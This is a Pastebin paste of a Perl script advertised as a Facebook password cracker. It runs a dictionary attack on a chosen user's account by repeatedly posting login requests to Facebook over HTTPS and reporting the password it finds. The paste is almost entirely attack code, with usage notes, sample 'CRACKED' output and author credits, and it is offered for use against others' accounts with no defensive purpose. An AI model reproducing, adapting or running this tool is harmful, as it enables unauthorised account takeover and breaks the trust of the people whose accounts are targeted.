SqLasticSoftware

Facebook Bruter

Jan 19th, 2016
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.42 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #Description:
  3. # Imad'Ox Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS.
  4. #
  5. # Usage:
  6. # perl Imad'Ox-Bruter.pl login wordlist
  7. # login could be either a user's email address or profile name
  8. #
  9. # Module Requirements:
  10. #
  11. # Install module if missing:
  12. # perl -MCPAN -e 'install Net::SSLeay'
  13. #
  14. # Demo:
  15. # perl Imad'Ox-Bruter.pl [email protected] wordlist.lst
  16. #
  17. # --- Imad'Ox-Bruter Facebook password cracking tool
  18. # --- By Imad'Ox Hunter
  19. # --- www.facebook.com/imad.elouajib
  20. #
  21. # [+] Cracking [email protected] ...
  22. #
  23. # [-] test -> Failed
  24. # [-] test123 -> Failed
  25. # [-] testtest -> Failed
  26. # [-] testest123 -> Failed
  27. # [-] qwerty -> Failed
  28. # [-] azerty -> Failed
  29. # [-] password -> Failed
  30. # [-] password123 -> Failed
  31. #
  32. ########################################################
  33. # [+] CRACKED! Your password is P@$$W0RD
  34. ########################################################
  35. #
  36.  
  37. use strict;
  38. use Net::SSLeay::Handle;
  39.  
  40. if(!defined($ARGV[0] && $ARGV[1])) {
  41.  
  42. system('clear');
  43. print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
  44. print "+++ Coded by Imad'Ox-Hunter\n";
  45. print "+++ www.fb.com/imad.elouajib\n\n";
  46. print "+++ Usage: perl $0 login wordlist\n\n";
  47. exit; }
  48.  
  49. my $user = $ARGV[0];
  50. my $wordlist = $ARGV[1];
  51.  
  52. open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
  53.  
  54. print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
  55. print "+++ Coded by Imad'Ox-Hunter\n";
  56. print "+++ www.fb.com/imad.elouajib\n";
  57. print "\n[+] Now Cracking $user ...\n\n";
  58.  
  59. while (my $password = <LIST>) {
  60. chomp ($password);
  61. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  62.  
  63. my $a = "POST /login.php HTTP/1.1";
  64. my $b = "Host: www.facebook.com";
  65. my $c = "Connection: close";
  66. my $e = "Cache-Control: max-age=0";
  67. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  68. my $g = "Origin: https://www.facebook.com";
  69. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  70. my $i = "Content-Type: application/x-www-form-urlencoded";
  71. my $j = "Accept-Encoding: gzip,deflate,sdch";
  72. my $k = "Accept-Language: en-US,en;q=0.8";
  73. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  74.  
  75. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  76. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  77. my $cl = length($post);
  78. my $d = "Content-Length: $cl";
  79.  
  80.  
  81. my ($host, $port) = ("www.facebook.com", 443);
  82.  
  83. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  84.  
  85.  
  86. print SSL "$a\n";
  87. print SSL "$b\n";
  88. print SSL "$c\n";
  89. print SSL "$d\n";
  90. print SSL "$e\n";
  91. print SSL "$f\n";
  92. print SSL "$g\n";
  93. print SSL "$h\n";
  94. print SSL "$i\n";
  95. print SSL "$j\n";
  96. print SSL "$k\n";
  97. print SSL "$l\n";
  98. print SSL "$cookie\n\n";
  99.  
  100. print SSL "$post\n";
  101.  
  102. my $success;
  103. while(my $result = <SSL>){
  104. if($result =~ /Location(.*?)/){
  105. $success = $1;
  106. }
  107. }
  108. if (!defined $success)
  109. {
  110. print "[-] $password -> Not Him :( \n";
  111. close SSL;
  112. }
  113. else
  114. {
  115. print "\n########################################################\n";
  116. print "[+] Yuuup!! Pass Cracked => Pass is $password :D\n";
  117. print "########################################################\n\n";
  118. close SSL;
  119. exit;
  120. }
  121. }
Add Comment
Please, Sign In to add comment